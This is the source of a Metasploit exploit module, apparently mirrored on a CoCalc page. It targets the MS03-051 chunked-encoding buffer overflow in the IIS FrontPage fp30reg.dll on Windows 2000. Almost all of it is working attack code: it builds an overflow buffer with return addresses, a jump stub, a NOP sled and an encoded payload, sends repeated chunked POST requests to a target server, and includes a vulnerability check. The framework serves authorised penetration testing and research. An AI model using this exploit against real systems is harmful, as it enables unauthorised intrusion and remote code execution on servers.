Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
16
'Description' => %q{
17
This is an exploit for the chunked encoding buffer overflow
18
described in MS03-051 and originally reported by Brett
19
Moore. This particular modules works against versions of
20
Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
21
issue.
22
},
23
'Author' => [ 'hdm' ],
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'CVE', '2003-0822'],
27
[ 'OSVDB', '2952'],
28
[ 'BID', '9007'],
29
[ 'MSB', 'MS03-051'],
30
],
31
'Privileged' => false,
32
'Payload' => {
33
'Space' => 1024,
34
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
35
'StackAdjustment' => -3500,
36
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
41
['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002
42
['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999
43
],
44
'DisclosureDate' => '2003-11-11',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
57
]
58
)
59
end
60
61
def exploit
62
print_status("Creating overflow request for fp30reg.dll...")
63
64
pat = rand_text_alphanumeric(0xdead)
65
pat[128, 4] = [target.ret].pack('V')
66
pat[264, 4] = [target.ret].pack('V')
67
68
# sub eax,0xfffffeff; jmp eax
69
pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
70
71
pat[280, 512] = make_nops(512)
72
pat[792, payload.encoded.length] = payload.encoded
73
74
0.upto(15) do |i|
75
if (i % 3 == 0)
76
print_status("Refreshing the remote dllhost.exe process...")
77
78
res = send_request_raw({
79
'uri' => normalize_uri(datastore['URL'])
80
}, -1)
81
82
if (res and res.body =~ /specified module could not be found/)
83
print_status("The server states that #{datastore['URL']} does not exist.\n")
84
return
85
end
86
end
87
88
print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")
89
90
res = send_request_raw({
91
'uri' => normalize_uri(datastore['URL']),
92
'method' => 'POST',
93
'headers' =>
94
{
95
'Transfer-Encoding' => 'Chunked'
96
},
97
'data' => "DEAD\r\n#{pat}\r\n0\r\n"
98
}, 5)
99
100
if (res and res.body =~ /specified module could not be found/)
101
print_status("The server states that #{datastore['URL']} does not exist.\n")
102
return
103
end
104
105
handler
106
107
select(nil, nil, nil, 1)
108
end
109
end
110
111
def check
112
print_status("Requesting the vulnerable ISAPI path...")
113
r = send_request_raw({
114
'uri' => normalize_uri(datastore['URL'])
115
}, -1)
116
117
if (r and r.code == 501)
118
return Exploit::CheckCode::Detected
119
end
120
121
return Exploit::CheckCode::Safe
122
end
123
end
124
125